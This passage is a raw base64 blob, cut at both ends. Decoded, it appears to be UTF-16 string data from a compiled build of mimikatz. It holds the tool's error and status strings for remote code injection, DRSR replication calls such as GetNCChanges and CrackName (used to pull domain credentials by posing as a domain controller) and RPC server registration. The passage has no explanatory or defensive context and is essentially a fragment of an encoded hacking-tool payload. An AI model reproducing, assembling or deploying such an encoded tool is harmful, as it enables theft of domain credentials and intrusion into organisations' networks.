BkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGEAbABsAG8AYwAgAC8AIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEUAeAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABOAG8AIABiAHUAZgBmAGUAcgAgAD8ACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AdAA1ADUANwA3AF8AdwByAGkAdABlAF8AYgBsAG8AYwBrACAAOwAgAFIAZQBjAGUAaQB2AGUAZAAgAGQAYQB0AGEAIABzAGkAegBlACAAaQBzACAAbgBvAHQAIAA0ACAAKAAwAHgAJQAwADIAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AdAA1ADUANwA3AF8AdwByAGkAdABlAF8AYgBsAG8AYwBrACAAOwAgAFIAZQBjAGUAaQB2AGUAZAAgAHMAaQB6AGUAIABpAHMAIABuAG8AdAAgADEAIAAoADAAeAAlADAAMgB4ACkACgAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwB0ADUANQA3ADcAXwByAGUAcwBlAHQAIAA7ACAARABhAHQAYQAgAHMAaQB6AGUAIABpAHMAIABuAG8AdAAgADAAIAAoADAAeAAlADAAMgB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AdAA1ADUANwA3AF8AcgBlAHMAZQB0ACAAOwAgAFIAZQBjAGUAaQB2AGUAZAAgAHMAaQB6AGUAIABpAHMAIABuAG8AdAAgADEAIAAoADAAeAAlADAAMgB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AcwBlAG4AZABfAHIAZQBjAGUAaQB2AGUAIAA7ACAAQgBhAGQAIABDAFIAQwAvAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwBzAGUAbgBkAF8AcgBlAGMAZQBpAHYAZQAgADsAIABCAGEAZAAgAGQAYQB0AGEAIABzAGkAegBlAC8AYwB0AGwAIABjAG8AZABlAAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAEIAYQBkACAAaABlAGEAZABlAHIACgAAAAAAAABFAFIAUgBPAFIAIABzAHIAOQA4AF8AcwBlAG4AZABfAHIAZQBjAGUAaQB2AGUAIAA7ACAAUgBlAGEAZAAgAHMAaQB6AGUAIAA9ACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAFIAZQBhAGQARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAFcAcgBpAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEQAZQB2AGkAYwBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAHMAcgA5ADgAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAZABlAHYAaQBjAGUASABhAG4AZABsAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAcwByADkAOABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEQARQBGAEEAVQBMAFQAAABOAE8ATgBDAEUAAABDAE8ATgBOAEUAQwBUAAAAQwBBAEwATAAAAAAAUABLAFQAAABQAEsAVABfAEkATgBUAEUARwBSAEkAVABZAAAAUABLAFQAXwBQAFIASQBWAEEAQwBZAAAARwBTAFMAXwBOAEUARwBPAFQASQBBAFQARQAAAFcASQBOAE4AVAAAAEcAUwBTAF8ASwBFAFIAQgBFAFIATwBTAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABDAGEAbgBuAG8AdAAgAGEAZABkACAATgBlAHQAdwBvAHIAawBBAGQAZAByACAAJgAgAFMAZQByAHYAaQBjAGUAIABpAGYAIABOAFUATABMAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFMAZQB0AEEAdQB0AGgASQBuAGYAbwBFAHgAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBlAGUAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAE4AbwAgAEIAaQBuAGQAaQBuAGcAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcARgByAG8AbQBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAKgAqACAAUwBlAGMAdQByAGkAdAB5ACAAQwBhAGwAbABiAGEAYwBrACEAIAAqACoACgAAAAAAAAAgAD4AIABTAGUAcgB2AGUAcgBQAHIAaQBuAGMATgBhAG0AZQA6ACAAJQBzAAoAIAA+ACAAQQB1AHQAaABuAEwAZQB2AGUAbAAgACAAIAAgACAAOgAgACUAMgB1ACAALQAgACUAcwAKACAAPgAgAEEAdQB0AGgAbgBTAHYAYwAgACAAIAAgACAAIAAgADoAIAAlADIAdQAgAC0AIAAlAHMACgAgAD4AIABBAHUAdABoAHoAUwB2AGMAIAAgACAAIAAgACAAIAA6ACAAJQAyAHUACgAAACAAPgAgAE4AbwAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAG4AaQBjAGUAXwB2AGUAcgBiAF8AUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAEEAdQB0AGgAQwBsAGkAZQBuAHQAOgAgACUAMAA4AHgACgAAAAAAcgBlAG0AbwB0AGUAAAAAAHMAZQByAHYAZQByAAAAAABSAGUAbQBvAHQAZQAgACAAIAA6ACAAJQBzAAoAAAAAAG4AYwBhAGMAbgBfAGkAcABfAHQAYwBwAAAAAABwAHIAbwB0AHMAZQBxAAAAUAByAG8AdABTAGUAcQAgACAAOgAgACUAcwAKAAAAAABlAG4AZABwAG8AaQBuAHQAAAAAAEUAbgBkAHAAbwBpAG4AdAAgADoAIAAlAHMACgAAAAAAcwBlAHIAdgBpAGMAZQAAAFMAZQByAHYAaQBjAGUAIAAgADoAIAAlAHMACgAAAAAAbgBvAGEAdQB0AGgAAAAAAG4AdABsAG0AAAAAAGsAZQByAGIAZQByAG8AcwAAAAAAQQB1AHQAaABuAFMAdgBjACAAOgAgACUAcwAKAAAAAABuAHUAbABsAAAAAABOAFUATABMACAAUwBlAHMAcwA6ACAAJQBzAAoAAAAAAGcAdQBpAGQAAAAAAEEAbAB0ACAARwBVAEkARAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEQAZQBjAG8AZABlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAATQBlAHMASQBuAGMAcgBlAG0AZQBuAHQAYQBsAEgAYQBuAGQAbABlAFIAZQBzAGUAdAA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEQAZQBjAG8AZABlACAAOwAgAE0AZQBzAEQAZQBjAG8AZABlAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBDAHIAZQBhAHQAZQA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARgByAGUAZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARgByAGUAZQAgADsAIABNAGUAcwBEAGUAYwBvAGQAZQBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAQwByAGUAYQB0AGUAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARQBuAGMAbwBkAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABNAGUAcwBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAUgBlAHMAZQB0ADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARQBuAGMAbwBkAGUAIAA7ACAATQBlAHMARQBuAGMAbwBkAGUASQBuAGMAcgBlAG0AZQBuAHQAYQBsAEgAYQBuAGQAbABlAEMAcgBlAGEAdABlADoAIAAlADAAOAB4AAoAAABQAHIAbwB0AGUAYwB0AGUAZABTAHQAbwByAGEAZwBlAAAAAABcAHAAaQBwAGUAXABwAHIAbwB0AGUAYwB0AGUAZABfAHMAdABvAHIAYQBnAGUAAABuAGMAYQBjAG4AXwBuAHAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYgBrAHIAcABfAGcAZQBuAGUAcgBpAGMAIAA7ACAAQgBhAGMAawB1AHAAcgBLAGUAeQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYgBrAHIAcABfAGcAZQBuAGUAcgBpAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFIAcABjAFMAZQBjAHUAcgBpAHQAeQBDAGEAbABsAGIAYQBjAGsAIAA7ACAAUQB1AGUAcgB5AEMAbwBuAHQAZQB4AHQAQQB0AHQAcgBpAGIAdQB0AGUAcwAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABJAF8AUgBwAGMAQgBpAG4AZABpAG4AZwBJAG4AcQBTAGUAYwB1AHIAaQB0AHkAQwBvAG4AdABlAHgAdAAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAUwBpAHoAZQAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAATgBvACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBEAEwAXwBEAFIAUwBCAGkAbgBkADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAE4ATwBfAEUAUgBSAE8AUgAAAAAARQBSAFIATwBSAF8AUgBFAFMATwBMAFYASQBOAEcAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAE4ATwBUAF8AVQBOAEkAUQBVAEUAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAE0AQQBQAFAASQBOAEcAAAAAAEUAUgBSAE8AUgBfAEQATwBNAEEASQBOAF8ATwBOAEwAWQAAAEUAUgBSAE8AUgBfAE4ATwBfAFMAWQBOAFQAQQBDAFQASQBDAEEATABfAE0AQQBQAFAASQBOAEcAAAAAAEUAUgBSAE8AUgBfAFQAUgBVAFMAVABfAFIARQBGAEUAUgBSAEEATAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwAgACgAbgBhAG0AZQAgAHMAdABhAHQAdQBzACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAG4AbwAgAGkAdABlAG0AIQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAMS4yLjg0MC4xMTM1NTYuMS40LjkwAAAAMS4yLjg0MC4xMTM1NTYuMS40Ljk0AAAAMS4yLjg0MC4xMTM1NTYuMS40LjU1AAAAMS4yLjg0MC4xMTM1NTYuMS40LjE2MAAAMS4yLjg0MC4xMTM1NTYuMS40LjEyNQAAMS4yLjg0MC4xMTM1NTYuMS40LjEyOQAAMS4yLjg0MC4xMTM1NTYuMS40LjEzNQAAMS4yLjg0MC4xMTM1NTYuMS40LjI3AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABNAGEAawBlAEEAdAB0AGkAZAAgAGYAbwByACAAJQBTAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAGEAbABjAHUAbABhAHQAZQAgAEMAUgBDADMAMgAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGUAYQB0AGUARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZQBuAGMAcgB5AHAAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAYQBsAGMAdQBsAGEAdABlACAAQwBSAEMAMwAyAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGUAYQB0AGUARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZQBuAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGUAYQB0AGUARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZQBuAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAE0AYQBrAGUAQQB0AHQAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8ATQBhAGsAZQBBAHQAdABpAGQAXwBhAGQAZABQAHIAZQBmAGkAeABUAG8AVABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAGkAbgBkAEEAdAB0AHIAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABnAGUAdAAgAGEAbgAgAEEAVABUAFIAVABZAFAAIABmAG8AcgAgACUAUwAKAAAAJQBzACUALgAqAHMAJQBzAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAE0AYQBrAGUAUwBwAG4AVwBpAHQAaABHAFUASQBEACAAOwAgAFUAdQBpAGQAVABvAFMAdAByAGkAbgBnACgAaQApADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8ATQBhAGsAZQBTAHAAbgBXAGkAdABoAEcAVQBJAEQAIAA7ACAAVQB1AGkAZABUAG8AUwB0AHIAaQBuAGcAKABzACkAOgAgACUAMAA4AHgACgAAAAAAIAA+ACAAQgBpAG4AZABTAHQAcgBpAG4AZwBbACUAdQBdADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAYQByAHQAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAFQAbwBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnADoAIAAlADAAOAB4AAoAAABtAGkAbQBpAGsAYQB0AHoAIABIAG8ALAAgAGgAZQB5ACEAIABJACcAbQAgAGEAIABEAEMAIAA6ACkAAAAgAD4AIABSAFAAQwAgAGIAaQBuAGQAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAgAD4AIABSAFAAQwAgAFMAZQByAHYAZQByACAAaQBzACAAdwBhAGkAdABpAG4AZwAhAAoAAAAAACAAPgAgAFIAUABDACAAUwBlAHIAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAdwBhAGkAdABpAG4AZwAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAEwAaQBzAHQAZQBuADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAEUAcABSAGUAZwBpAHMAdABlAHIAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8